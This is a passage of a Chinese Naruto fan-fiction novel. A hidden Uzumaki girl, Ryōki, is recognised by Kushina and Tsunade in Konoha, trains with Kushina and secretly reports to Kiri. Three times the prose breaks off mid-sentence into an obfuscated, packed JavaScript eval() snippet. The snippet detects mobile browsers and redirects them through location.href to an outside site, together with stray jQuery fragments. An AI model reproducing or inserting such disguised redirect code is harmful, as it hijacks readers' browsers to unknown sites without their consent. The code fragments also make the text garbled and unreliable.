一个夜晚,涡之国的人正在熟睡时,无数的雾隐村忍者潜伏在涡潮村临海一侧的水面下。其中数名忍者来到涡潮村外,召唤出通灵兽蜃,施展了覆盖整个涡潮村的幻术。在通灵兽蜃被召唤出来之前,是涡潮村唯一可能反击的时刻。 可惜,当时值班的忍者只是按照常例看着结界中枢。身为感知忍者的他们,却没有感知到就在村外的敌人。 巨量的水蒸气瞬间弥漫了整个村子,海市蜃楼产生的无尽幻象蒙蔽了所有涡潮村忍者的眼睛。 这是二代水影的得意招数——【魔幻·气蒸楼阁】。蜃产生的水粒子外的膜会折射光线,产生让人眼花缭乱的幻象,欺骗敌人的眼睛。 最关键的一点在于,这个幻术可以扰乱查克拉的感知。漩涡一族引以为傲的感知能力无法起作用。 尽管二代水影已经去世,但这个忍术还是流传下来,并且在对涡潮村的战争中起到举足轻重的作用。 长期在雾隐之术中训练无声杀人术的雾隐村忍者可以很快适应满是幻象的战场,漩涡一族却不能。大部分忍者就这样被杀死了,甚至没能造成像样的反击。 漩涡阳真凛一直让凉纪训练无声杀人术,也是希望能够掌握这个毁灭了漩涡一族的术。 涡潮村的高层在发觉幻术的那一刻,召唤出通灵兽,让通灵兽带走了漩涡一族最秘密的封印术研究和道具。但绝大多数封印术式,还是被雾隐村得到了。 既为了防止像漩涡一族覆灭之战一样被外敌入侵,也为了监视村内的反对派,避免内战,三代水影从那时起就设置了覆盖全村并延伸到村外五里的感知网。 习惯了身处感知忍术中,发现木叶居然如此松懈,凉纪很是惊讶。这几天的谨慎,仿佛是和空气斗智斗勇。虽然仍旧需要通过野乃宇院长的考验才能在明面上使用忍术,但早知道木叶没有用感知忍术监视全村,她就可以暗中使用忍术做许多事情。 是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375519|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木叶的忍者不愿意身处感知忍术的监控之下吗?对于感知忍术的缺失,凉纪只能想到这个原因。 如果存在感知忍术,对凉纪来说,反而更方便一些,因为她的查克拉和漩涡玖辛奈的非常相似。在她学习忍术之后,感知忍者可以感知到突然出现了漩涡一族的查克拉。足够谨慎的忍者会让人来查看,这样就可以成功将自己身负漩涡一族血脉的事实暴露给木叶村上层。 不过,就算不存在感知忍术,凉纪也有自己的办法。 她直接将感知忍术一直往外扩展。既然已经开始学习忍术,凉纪的很多行动都可以解释。哪怕有其他忍者发现自己在使用感知忍术,也可以解释为天生的才能。 发现有人在使用感知忍术,木叶村的感知忍者应该会反过来试图感知自己。 然而,凉纪已经和兜学习忍术学了一个时辰,还是没有其他忍者施展感知忍术。 凉纪没有感知到漩涡玖辛奈的查克拉,想必她目前身处结界之中,没有发现凉纪的感知忍术。 但其他人呢?难不成木叶没有其他感知忍者了吗?凉纪百思不得其解。 凉纪所不知道的是,木叶村同时与几大忍村开战,人手严重不足,能上战场的都上战场了,现在村内只留下少部分用于维持正常运转的忍者。确实还存在其他的感知忍者,但那是“根”中留在团藏身边的忍者。作为木叶村的至暗机构,“根”自然处于重重结界之中,其中的感知忍者没发现感知忍术,也是正常之事。 既然这样……凉纪对兜说道:“我刚才练习的时候,发现自己的感官一下子扩充到好远,可以感知到整个村子里忍者的查克拉。兜你当初学习提取和操控查克拉的时候,也会出现这样的情况吗?” 感知到整个村子里忍者的查克拉?兜在跟随药师野乃宇学习忍术之后,也学习了一些关于忍者的知识。这应该是在描述感知忍术,但凉纪今天才开始学习提炼查克拉,从来没有学习过感知忍术。 “我当初没有这样的感觉。这应该是感知忍术,但我也不知道,为什么你没有学习感知忍术就可以使用它。”兜思索片刻,对凉纪说道,“我带你去见院长吧。毕竟我才学习忍术没多久,有很多事情都不了解。” * 大部分忍者受伤时,会由同队的医疗忍者进行紧急救治。但战场上随时都有可能遭遇敌人的袭击,如果受到需要长时间治疗的严重伤势,只能先进行简单处理,再回木叶医院接受进一步治疗。 眼前的这个忍者在落单时遭到了砂隐村的袭击,虽然同伴及时赶到,将他救援出包围圈,但他也受了严重的伤。 经过长达三小时的救治,药师野乃宇保住了他的命。但他永远失去了自己的左腿。 在药师野乃宇救治的所有患者中,他已经算是幸运的那批。能够挺到木叶医院接受治疗,四肢仅失去了其中一个,失去的不是手臂还可以结印,也没有伤到经脉。木叶村的义肢技术虽然不如砂隐村,但还是有的。安上义肢后,他仍旧能够战斗。 他还可以继续做忍者。 不过,还得返回给自己造成严重伤害的战场,对于他来说,是幸还是不幸呢? 因为麻药的作用,他还在手术台上昏迷着,自然无法回答。 让医疗班的下忍进行后续的处理,药师野乃宇在更衣室换下手术服,穿上白大褂,来到自己的办公室。 她没有想到兜和凉纪也在那里。 “我记得有说让凉纪醒来后去找兜学习忍术。你们没有练习反而来找我,是有什么意外事件吗?”药师野乃宇问道。 兜说:“凉纪开始练习没多久,就发现她能够感知到全村的查克拉。” 天生就会感知忍术? 药师野乃宇仔细端详着凉纪。这个世界上,红发的人不多,但也不少。药师野乃宇不会看到一个红发的人,就觉得她是漩涡一族。 但如果加上感知能力的话…… 如果知道自己还有另外的亲人留在世上,不管是漩涡玖辛奈还是凉纪,应该都会感到高兴吧。 12. 相似绝不同 也许是性格原因,漩涡玖辛奈很少离开村子内环,药师野乃宇和她打交道不多。 不过,听说纲手大人和她关系不错。 尽管木叶村现在战力严重不足,但大概是因为村里需要三忍之一作为定海神针,纲手大人仍然留在木叶村,而没有上战场。药师野乃宇经常向纲手请教医疗忍术问题,和她算得上熟悉。 药师野乃宇对兜和凉纪说道:“这件事纲手大人应该能够解答,你们稍等一下,我去叫她。” 兜一惊:纲手大人?难道这是什么严重的病吗? 他看向一旁懵懂不知的凉纪。因为不知道纲手大人是谁,她的表情还很平静。 也不一定就是他想的那样。兜开解着自己。纲手大人作为三忍之一,对忍术的了解也远超旁人,药师野乃宇应该是因为这才去找她的。 - “砰”地推开门,一个梳着两条长长低马尾的金发女忍大步走进来。她弯腰看着凉纪的脸,头也没回地问道:“这就是你说的那个孩子?” 她身后传来药师野乃宇的声音:“是的。因为我和玖辛奈不太熟悉,所以想让纲手大人判断,她是不是漩涡一族的人。” 玖辛奈?漩涡一族?人柱力和相关情报在木叶村都是机密,连药师野乃宇都不知道,各类资料上也没有相关情报,兜自然从没听说过这些词。 不过,既然院长这样说,看来凉纪出现这种情况并不是什么坏事,兜心里松了口气。 凉纪仰头看着眼前英姿勃发的女忍。她同时拥有年轻的面庞和成熟的气息,如果不是事先在雾隐村了解过木叶的情报,凉纪很难判断出她已经将近四十。她额头上印着蓝紫色的菱形印记,应该是特殊封印术的外显。 纲手仔细端详着凉纪的脸:“我不会感知忍术,判断不出她和玖辛奈的查克拉是不是同一族的。看脸也看不出特别相像的地方。” “你是漩涡一族吗?”纲手直接朝凉纪问道。 “我也不清楚……” 她干脆一把拎起凉纪的后衣领,大步往门外走去:“我直接带她去找玖辛奈。” 纲手大人还是一如既往地雷厉风行呢……药师野乃宇不由感叹。 纲手刚离开没多久,一个留着黑色短发,面容稍带稚气的女孩有些莽撞地拧开门把手推门喊道:“纲手大人!” 药师野乃宇道:“静音,纲手大人现在不在这里。” “啊,对不起打扰了。”静音有些气馁地拉上门,自言自语道,“纲手大人怎么一眨眼就不见了。” 药师野乃宇无奈地叹了口气:“静音,我话还没有说完。纲手大人有事去了漩涡玖辛奈那里。” “玖辛奈大人那里?”静音再次推开门,有些惊讶地确认。 “是的。”药师野乃宇说。 “野乃宇前辈,谢谢提醒。”静音话音刚落,就又风风火火地去找纲手了。 静音以前还是个文静的小姑娘,和纲手大人待久了,也传染上了纲手大人的急躁啊……药师野乃宇不由得有些感慨。 尽管静音去寻找纲手的动作已经很迅速,但她想要找到纲手,还得再找好一阵子。 出了医院后,感觉拎着凉纪后衣领的动作不方便,纲手像夹麻袋一样把凉纪夹在腋下,飞速朝漩涡玖辛奈所住的漩涡一族的祠堂奔去。 到了门口,她将凉纪放下,高声喊道:“玖辛奈,你在家吗?” 蹬蹬蹬的脚步声传来,漩涡玖辛奈打开门:“纲手大人,找我有什么事?” 她注意到纲手旁边的凉纪,有些犹疑地说:“这个孩子……查克拉和我好像……” 纲手说:“就是为了她来找你的。她叫凉纪,在提炼查克拉的过程中,突然可以自发使用感知忍术。药师野乃宇怀疑她也是漩涡一族的族人。” “让我来判断吗?虽然我们查克拉非常相似,但仅凭查克拉也很难判定她是不是和我同一族的人。”漩涡玖辛奈蹲下来平视着凉纪,“凉纪,你之前有没有听父母讲过漩涡一族的事?” 凉纪表情没什么变化,内心却高度紧绷着。神乐心眼对查克拉波动的感知极为细腻,可以以此判断对方是否撒谎。撒谎的时候,查克拉会有微小的波动。这是神经反应连带的波动,是生理反应,所以几乎不可能抑制。 在漩涡玖辛奈面前,只能说真话。 凉纪组织好语言,说道:“我妈妈曾经说过,她原本的家族和国家,都在战争中覆灭了。这……应该是漩涡一族吧。” “看来你真的是我的族人。虽然第二次和第三次忍界大战都打得很激烈,但整个国家都为之覆灭的,只有涡之国的说。” 提到自己覆灭的故国,漩涡玖辛奈不由得情绪有些低落,但既然同族的孩子还在眼前,她很快打起精神:“你妈妈现在也在木叶村吗?” “没有。”凉纪说,“我现在在木叶孤儿院。” 漩涡玖辛奈脸上惊讶的表情一闪而过,她没对此评论什么,而是温和地说道:“我之前没见过你,你是近期才来木叶村的吧?那就让同族的前辈尽一下地主之谊,我带你在木叶村好好逛逛。” 和漩涡玖辛奈一直待在一起,太危险了。神乐心眼不止可以判断对方是否撒谎。人在惊慌、愤怒、高兴、恐惧的时候,查克拉的波动是不一样的。一个精通神乐心眼的忍者,可以感知到对方的情绪。由于人的情绪千变万化,查克拉波形太过复杂,凉纪只能大略分辨出高兴、悲伤、愤怒、恐惧等几种最粗略的情绪,但她不确定玖辛奈能达到什么样的水平,能不能感知到她的真心。 虽然可以平抑查克拉的波动,让神乐心眼无从感知情绪,但这样会使查克拉波形十分不自然,简直是在高喊自己在刻意隐藏着什么。 所以长期和玖辛奈相处,必须想办法小心抑制情绪的起伏,不然一不当心就可能暴露。 而且,凉纪听到了房间内另外两人的脚步声和呼吸声。 应该是木叶村用于监视人柱力的暗部,想必他们会向火影汇报自己的情况,木叶村的高层很快就会了解到村里多出来一个人柱力的后备容器。 任务既已达成,没有再和危险源待在一起的必要。 凉纪躬身道歉:“今天能和您相识,我感到非常高兴。但您的好意我只能心领了,我还需要练习忍术。” “一天半天不练也没事吧……” “我还有仇人在雾隐村。”凉纪说,“我需要只争朝夕,不能懈怠。” “野乃宇和我说过你的情况。”纲手的声音传来,凉纪抬头看去,她正双手抱臂靠在门边,“雾隐村的忍刀七人众毁了你的村子是吗?” 凉纪没有回答,只是垂头沉默。 虽然她没有开口,但漩涡玖辛奈明白她的意思。 “你是要回去和野乃宇一起练习忍术吗?”漩涡玖辛奈问。 “院长在医院正忙,是孤儿院的前辈兜来教我忍术。”凉纪回答。 “你说的那个兜,还是小孩子吧,他的忍术水平应该比不过我。”漩涡玖辛奈认真地说,“反正我闲着也是闲着,不如让我来教你。” 凉纪找不到拒绝的理由。她只能点头同意:“我的荣幸。” 事已至此,她暗自提醒自己,一定要注意自己的一言一行。 见漩涡玖辛奈和凉纪达成一致,纲手说:“你们去练吧,我就先走了。”正好静音在药师野乃宇来找她的时候有事离开,没跟过来,可以趁机去打一把柏青哥。 漩涡一族祠堂的天台十分宽阔,是个练习忍术的好地方,玖辛奈站起身,把凉纪拉进门,准备在那里教授凉纪忍术。 她刚要把门合上,静音就跑到门口眼疾手快地抵住门,问道:“是纲手大人吗?” 玖辛奈探出头来:“纲手大人不是就在门口吗。欸,这就不在了,纲手大人的速度真的挺快的。” 静音有些抓狂地喊道:“纲手大人,你到底在哪里啊!”她同玖辛奈挥手告别,满村子去找纲手去了。 估计她还得找好一会儿,因为她走的,和纲手大人走的不是同一条路。凉纪听着静音渐渐远去的脚步声,问道:“为什么玖辛奈大人不告诉静音前辈纲手大人现在的位置呢?” “啊,凉纪你也感知到了纲手大人的查克拉。”玖辛奈笑着偏头对凉纪解释说,“如果不是必须,我不会用感知忍术去搜寻其他人的位置,毕竟,对大家来说,有一个时时刻刻都知道自己在哪里的人会感觉很恐怖的说。” 为了感情好恶而降低村子的安全防御吗…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375520|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果雾隐村也是这样就好了,凉纪会方便许多。 凉纪注意到大堂的地板上刻画着漩涡的图案,形成与外界结界相互呼应的二重封印,应该是用来增强人柱力对尾兽的封印力的。 漩涡玖辛奈发现凉纪正在看着大堂中心的图案,说道:“这是我们漩涡一族的族纹。木叶村忍者护额上的标志也有这个漩涡,意味着漩涡一族与木叶村的世代友好。” 见两个暗部还跟在她们身后,漩涡玖辛奈对他们说:“我带凉纪去楼顶训练,你们就不要跟过来了。” 她转过头,对凉纪有些含糊地解释道:“他们……反正不是什么重要的人,不用在意的说。” 这可算不上解释。若非凉纪不是普通小孩,持续追问下去,漩涡玖辛奈还真不好说清楚。 不顾两个暗部受伤的心灵,玖辛奈带着凉纪走上环绕着祠堂的螺旋楼梯,边走边向凉纪询问:“你是什么时候来到木叶的?” “四天前。” “有不适应的地方随时可以和我说。我和你一样,也是从其他地方来到木叶村的,作为前辈可以在这方面帮助你。” “玖辛奈大人刚来的时候会不适应吗?” “会的,毕竟到了陌生的地方,父母朋友都不在。更别说一年以后涡之国突然被雾隐村覆灭,我的国家和家族都毁灭了,再也没有归去的地方。” “原来玖辛奈大人的仇人也在雾隐村。您想怎么复仇呢?” 凉纪是真的很好奇玖辛奈的想法。她是凉纪见到的第二个经历了涡之国覆灭的漩涡一族族人,如果更早遇到她的话,她有没有可能成为妈妈还有凉纪的助力? 虽说现在询问已经太迟了,九尾夺取计划已经开始执行,而想要计划成功,必然会面对玖辛奈的牺牲。但凉纪还是想知道。 “复仇?当时的我没有想到要复仇,更多的是震惊、痛苦和迷茫。就好像做梦一样,一夜之间家国沦陷。过了好久,我才消化这个消息。有的时候,心底会浮现对雾隐村的恨意,但仅凭我自己也不可能向一个村子复仇。而且我作为……” 漩涡玖辛奈及时止住了要说出口的话,但凉纪知道她要说什么。作为尾兽的容器,漩涡玖辛奈根本不能自由活动。 “那个时候,是和你我一样,也在木叶村的漩涡一族的前辈水户大人开导我的。”漩涡玖辛奈回想起过去,露出怀念的表情。 接受水户大人的教诲时,彼时尚且年幼的玖辛奈不曾预料,有一天她将带着后辈登上同一座螺旋楼梯,把如何面对不安与困厄传递下去。 “哒”“哒”“哒”,伴着清脆的足音,同样的话语穿透十三年的时光,又一次在螺旋楼梯中盘旋而上。 “漩涡一族以封印术和生命力闻名于世。漩涡的力量被用作战争的食粮,但也能带来安宁。我们现在正在走的楼梯,就是漩涡的形状。 “不过漩涡是平面的、静止的,而楼梯是上升的、立体的螺旋。虽然看起来同样是旋转的事物,但是随着阶梯的不断改变,风景也在不断地变化。 “我们确实可能处于漩涡的中心,但是如果自发地去攀登的话,我们一定可以找到''爱'',那样的话——漩涡也终将会成为螺旋吧。”(注1) 玖辛奈将目光从窗外的风景收回,偏头对凉纪说道:“凉纪来到木叶村以后,也会看到新的风景,不断邂逅新的同伴,获得新的收获。就好像你遇到野乃宇,遇到兜,遇到纲手大人,又遇到了我。” ——就好像我遇到水门,遇到木叶村的大家。 可惜,因为个子还没长高,视线被窗台遮挡,透过一个个不同的窗户,凉纪看到的都是没多少变化的天空。 她明白了。 哪怕提前相遇,玖辛奈也不可能帮助妈妈。 她已经放下了。她在往前看。 而妈妈不可能放下。 我的未来会像玖辛奈大人说的那样,出现新的风景吗?不,我的未来已经注定,是雾隐村的血与毁灭。或许还有我自己的。 不过,如果这未来能够让妈妈像玖辛奈大人那样放下,那就值得。 相同的楼梯与相同的建筑再次见证着同族人相同的对话,可惜这世上的故事虽然常常相似,但最关键的内核却往往不同。 13. 反悔哪怕有理由也很尴尬 走过一级又一级螺旋的楼梯,凉纪与漩涡玖辛奈来到最上层。风景陡然开阔起来,可以鸟瞰整个村子,一旁火影岩上三名火影巨大的头像注视着楼顶漩涡一族的两人。 “这是个挺好的地方吧。”漩涡玖辛奈笑着说道,“和水户大人一样,我心情不好的时候就会来到这里。” 凉纪眺望着下方木叶村密密麻麻的建筑:“是的。从这里可以看到整个村子。” 有俯视图,自己的木叶地图就更准确了。 漩涡玖辛奈和凉纪面对面站定,进入正题:“凉纪,你现在忍术学到哪里了?” “查克拉的提取和控制。刚刚学到怎么把查克拉聚集到特定的部位进行强化。” “这样啊。忍术归根结底是战斗的艺术,你朝我攻击试试,我看看你掌握得怎么样。” 这是凉纪不愿意和漩涡玖辛奈一起练习的原因之一。如果被她发现自己的攻击强度和查克拉波动不匹配,自己很难解释。 控制在自己学习忍术第一天的程度吗?不,自己现在年龄大出几岁,理论上会比当时强一些。 凉纪压低身子,将查克拉凝聚在脚底,用劲蹬地,以常人难以看清的动作飞速跑到漩涡玖辛奈的前方。她把凝聚了查克拉的右拳挥向漩涡玖辛奈的腹部,却见漩涡玖辛奈轻松地后跨一步,弯腰双臂交叠接住了她的拳头。 凉纪见攻击不成,以左脚为轴心,旋身将右脚朝玖辛奈的双腿砍去,玖辛奈一个闪身,直接来到凉纪身后。 右脚挥空,凉纪连忙借着旋转的势头反手撑地,几个后空翻远离玖辛奈。 凉纪正要继续进攻,玖辛奈却已经不在原地。她又一次来到凉纪的背后,抓住凉纪的双臂反剪在她身后。 “演习结束。” 放开凉纪的拳头,漩涡玖辛奈直起身称赞道:“动作很简洁有力,查克拉对身体的强化也很到位。对于初学者来说挺不错的说。” 玖辛奈非常强,凉纪认识到了这点。尽管她没有用出全力,但玖辛奈也没有。至少在速度这一点,未出全力的玖辛奈已经和凉纪的妈妈不相伯仲。 妈妈的天赋不算出挑,尽管拥有漩涡一族的血脉,也只达到普通上忍的水平。但玖辛奈也只使出了三成的力气,这样都能和妈妈持平……再加上漩涡一族天生的大量查克拉、封印术、生命力与感知能力……还有九尾的力量。她的真实实力,强得惊人。 我之后会到达玖辛奈的程度吗?不,我要超越她。因为哪怕凭玖辛奈的能力,也无法对雾隐村发起复仇。 心里这样想着,凉纪表情不变地看着玖辛奈继续教学。 “我再看看你对查克拉的控制能力。”玖辛奈指着一旁的球体说道,“将查克拉汇聚在脚下但不放出,可以产生吸附力。你试一下爬到这个球的顶端。” 楼顶的中央是一个巨大的球体,凉纪可以感知到上面刻画着密密麻麻的封印术式,只不过隐藏在表面之下无法看到。这个球体就是封印人柱力外层结界的中心。 这种测试凉纪就不用专门考虑表现到哪一步了。她第一次练习时,就从峭壁底端横着走到了最上方。 见凉纪轻轻松松就走到了球体顶端,漩涡玖辛奈不吝夸赞:“凉纪你的查克拉控制能力也挺厉害。” 凉纪从球体顶端往下滑,滑到地面。 漩涡玖辛奈思考着以前自己是怎么学习的:"接下来教些你什么好呢?对了,你学过什么忍术?" “兜还没有教过我忍术。” “这样的话,我先从基础的教起吧。” 凉纪跟着漩涡玖辛奈学了一下午她早就会了的三身术,等到了饭点,她终于有借口脱身了。 但是,玖辛奈笑盈盈地对她说道:“凉纪,约好了,明天上午8点开始,继续来训练吧。” 如果找借口的话会被玖辛奈发现,凉纪一时无法回绝,只能再一次屈服,同意了这个邀约。 回孤儿院的路上,凉纪突然意识到,为什么自己要找借口呢?直截了当地说比起和玖辛奈一起训练,还是自己练习效率更高不就行了吗?玖辛奈对自己的看法,对计划并没有多大影响。反而长期与玖辛奈相处,会增加自己暴露的可能。 明天,明天一定要想办法拒绝玖辛奈。 应该能成功的吧。 凉纪没有意识到,她被某些虽然柔软,但又难以抗拒、难以斩断的东西所操控了。 她还没有坚硬到能拒绝这些东西的侵蚀。 那是来自他人最真挚的关怀。 * 餐桌上,千杏好奇地问着凉纪:“你找到自己的族人啦?” “是的。”凉纪点点头。 “她会收养你吗?”千杏抛出这样一个问题。 凉纪一愣,她从来没有想过这个可能。 千万不要……满身谎言的自己如果要日日夜夜和能够分辨他人是否说谎的漩涡玖辛奈相处,那可真是噩梦。 “应该不会。我们虽然是同族,但以前从来没有见过面。” “这可不一定。你和她相处了一个下午,她是个什么样的人呀?” 凉纪回忆着下午训练时漩涡玖辛奈的一举一动:“她有着和我一样颜色的头发,不过比我的长很多。她很爱笑,不过训练时非常认真严肃。实力挺强的。” 凉纪又严谨地补了一句:“关于最后这点我才刚开始学习忍术,不太确定。” 千杏叹了口气:“不是这些啦,是说她的性格、对你好不好之类的。” 性格……凉纪不太会概括这些。她只能斟酌着说道:“感觉玖辛奈大人是个乐观的人。至于对我好不好……当然挺好的。不然她也不会提出要帮我训练忍术,还让我明天继续去。” 千杏笑嘻嘻地说道:“那她说不定真的会收养你哦。不过就算不收养,有一个同族的前辈在村里,也挺好的。凉纪以后想当忍者吧,她应该能帮到你很多。明天的训练,凉纪你可得好好表现,让玖辛奈大人看看你的天分!” “其实……我明天想拒绝玖辛奈大人的训练邀请。”凉纪说道。 “为什么?!”千杏瞪大眼睛,一脸不可置信。 “我是孤儿院的新人,也要帮孤儿院的忙,总不能只吃饭不做事吧。”凉纪说道。 “是不是那天久米佑的话影响了你?”千杏掰响指关节,作势要起身找在另一张桌子吃饭的久米佑算账。 “不是。”凉纪按住了她,“就算他那天没说那句话,我也会这样做的。” “但是……但是你和玖辛奈大人多学点忍术,以后前途肯定更好啊!”千杏急忙反驳着。 “那是以后。我们要面对现实的难关。”凉纪平静地说道。 千杏没办法再提出异议。她知道孤儿院的困处,随着战争的进行,孤儿院的补贴越来越少,院长都是能省则省,在犄角旮旯里挤出钱供他们吃穿,孤儿院的孩子们都在尽自己的力减少院里的负担。 “凉纪不用太担心。”兜插话道,“战争应该这一两年就能结束了。到时候孤儿院的日子也会好过一些。” “你怎么知道?”千杏惊讶道。 兜推了推鼻梁上的眼镜:“其实我也是从那些退役忍者口中听到的。现在各国后勤压力太大,前线兵力不足,战力也拉不开差距,再打下去完全无益。等到财政支撑不起战争,一个国家率先退出后,其他国家也会陆续停战吧。” 乌鲁西也加入了话题:“不提那些远的,明年二月就是忍者学校的入学考试。第一名奖励一万两,第二名奖励七千两,第三名奖励四千两,第四第五奖励一千两,第六到十名奖励二百两。如果能拿到第一名,就差不多能抵得上兜这几个月的工资了。入学后期中期末测试排名靠前也有奖学金。” “原来忍者学校的奖学金这么高的吗?”兜有些震惊。 乌鲁西挠了挠头:“诶,我没和你说过吗?” 兜眨眨眼睛:“没有。这也不是报纸上会记录的事,至于我的客户,他们都没有学龄的小孩,也不会谈论这个。” 凉纪问道:“既然知道了有奖学金,那兜打算考忍者学校吗?” 兜点点头:“是的。反正就算入学,也不一定非要成为忍者。” 无视乌鲁西“原来你不打算成为忍者吗?!”的背景音,凉纪说道:“兜应该不打算放弃学期内测试的奖学金。如果一直拿奖,最后却不成为忍者,会让学校怀疑的。” 兜说道:“也可以一直做下忍。下忍是没有强制要求出村作战的。我之前说不想当忍者,是不想浪费时间上学,既然有奖励,还是去比较好。” “之前你说不想做忍者,语气明明挺坚定的。” “这也是一个教训。以后要把信息搜集全再判断。” “喂喂喂!”乌鲁西不满地打断了他们的对话,“你们这话说得好像自己一定能拿奖一样。我到现在还一次都没有拿过呢。每年基本都是忍者家族的新生拿奖学金,宇智波、猿飞、油女、日向……来来回回就是这些姓氏。” “那他们今年会见识到例外了。”兜微笑着说。 凉纪没有开口,只是点头赞同兜的话语,她的眼神写满了笃定。 千杏又把话题拉了回来:“那凉纪你明天还要拒绝玖辛奈大人吗?距离考试只有几个月时间了,如果不和玖辛奈大人学习,会不会很难比过那些家族的忍者?” 凉纪道:“我还是打算拒绝。我打算找一个能够一边训练忍术,一边做事的工作。如果忍术学习有不清楚的地方的话,院长也是忍者,有疑问我可以问她。” 等到上床睡觉,千杏悄悄问凉纪:“你是不是不太喜欢玖辛奈呀,感觉你对她都没什么热情。” 千杏这样说,是因为如果遇上同族的人是她,她会非常激动,一直黏着那个人吗? 凉纪缩进被子里,小声回答道:“我只是觉得,一直麻烦她不太好。” “对她来说,这应该不是麻烦哦。”千杏认真地说。 “大概吧。”凉纪说道。 等到千杏那边传来细微的鼾声,凉纪默默回忆着自己与漩涡玖辛奈的相处。 我喜欢漩涡玖辛奈吗?凉纪问自己。不,她不喜欢。因为她喜欢的只有妈妈,其他任何事物对比妈妈全都不值一提。 但她也不讨厌漩涡玖辛奈。她希望妈妈以后能够拥有玖辛奈那样的查克拉,充满了温暖与希望的查克拉。 为了这个梦想,凉纪会做任何事。 既然千杏已经睡着,可以进行下一步动作。 通过神乐心眼,没有感知到感知忍术的探查,孤儿院外也没有其他忍者和通灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375521|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽活动。 她双手结印,在床边创造出一个影分身。影分身并指成刀,从凉纪伸出的手上划了一道取血,随后打开窗户,翻身出去后把窗户合上,变成红隼飞向孤儿院旁的树林。 在林中的一条小溪边,影分身恢复成原来的样子,施展通灵之术。一条小鱼从水里探出头,影分身把写有“一切顺利,开始执行最终计划”的布条放进忍鱼的嘴里。 解除通灵之术后,忍鱼消失不见。影分身变回红隼,回到寝室,在床底下为凉纪警戒着。尽管昨晚良季的记忆已经模糊到仿佛真正的梦,但凉纪睡着时还是难以对外界的风吹草动作出反应。现在她终于能够显现自己的查克拉,不用担心使用影分身警戒会惊动木叶村的人。 做完这一切,凉纪终于打算入睡。睡前,她的嘴角难得浮现起一抹微笑。 雾隐村应该近期会采取行动。 很快,凉纪就会在实现梦想的路上前进一大步。 * “欸,你说不能和我一起训练?”漩涡一族的祠堂内,玖辛奈震惊地问道。 凉纪保持着弯腰道歉的姿势:“非常抱歉辜负您的心意。但回去之后我仔细想了想,孤儿院的经费不足,作为孤儿院的一员,我需要为孤儿院付出自己的力量。我想找个工作贴补孤儿院,恐怕没有时间来您这里。” “我的心意倒没什么辜不辜负的……”玖辛奈把凉纪扶起来,“就是……你昨天不是说要争分夺秒练习忍术吗?去打工的话,你要怎样练习呢?” 凉纪说道:“我永远不会放弃未来的梦想,但现在的生活也同样重要。” 告别玖辛奈后,凉纪准备离开,突然,玖辛奈又叫住了她。 “我刚刚想了想,发现有一个忍术可以兼顾。这也可以锻炼你的忍术能力。”玖辛奈有些得意地说。 凉纪也知道这个忍术。她昨天还用过。 B级忍术是可以随便教人的吗?!这不过是凉纪和漩涡玖辛奈的第二次见面而已! “昨天我们学习了分身术,但这不过是创造一个与本体一样的幻影而已。在这之上,还有更高一层的分身术——影分身之术。它可以用查克拉制造实体,比较坚固稳定,不会一碰就碎。也就是说,你可以本体在我这里学习,分身去打工。如果多分出几个分身的话,还可以再多打几份工。” 说到这份上,凉纪再没有拒绝的理由。强行拒绝的话,只会引起玖辛奈的怀疑。 她只能向玖辛奈致谢:“感谢您的指导。” 玖辛奈一边和凉纪沿着螺旋楼梯上楼,一边有些惋惜地说:“我昨天晚上专门给你制定了一套学习方案,可惜今天不能用了。不过明天开始你就可以用了。” 第二次来到祠堂楼顶,再一次看到一旁巨大的火影岩头像,想到还要再来这里好多次,凉纪默默在心里叹了口气。 不过,尽管多次被漩涡玖辛奈打断计划,凉纪却对玖辛奈完全讨厌不起来。 说起来,自己有讨厌过谁吗? 凉纪没有讨厌过人。除了妈妈,她都视旁人如无物,谈不上讨厌。 玖辛奈站在结界球边的空旷处,笑着朝凉纪招手:“快过来!” 清晨和煦的阳光从一侧照过来,给她的轮廓打上浅金的光晕。 凉纪止住思绪,走到玖辛奈的面前。 “影分身之术和分身之术虽然名字相似,但有非常多的不同之处。影分身之术需要平分体内的查克拉,用一半的查克拉在体外形成实体。因为查克拉消耗过多,所以一般忍者很少使用这个术。好在我们都是漩涡一族,查克拉量比较多。我先给你演示一下。” 漩涡玖辛奈用双手的食指和中指结成十字印——[影分身之术!] “砰”地一声,在玖辛奈身边又出现和她一模一样的人。 在玖辛奈鼓励的眼神下,凉纪伪装成初学者的样子,非常缓慢地控制查克拉在经络系统中运行,然后释放——两个一模一样的凉纪和两个一模一样的玖辛奈面对面看着彼此。 “第一次学就学会了,凉纪你的忍术天赋挺高的。”玖辛奈不吝夸赞。 “你感觉自己最多能分多少个影分身?” 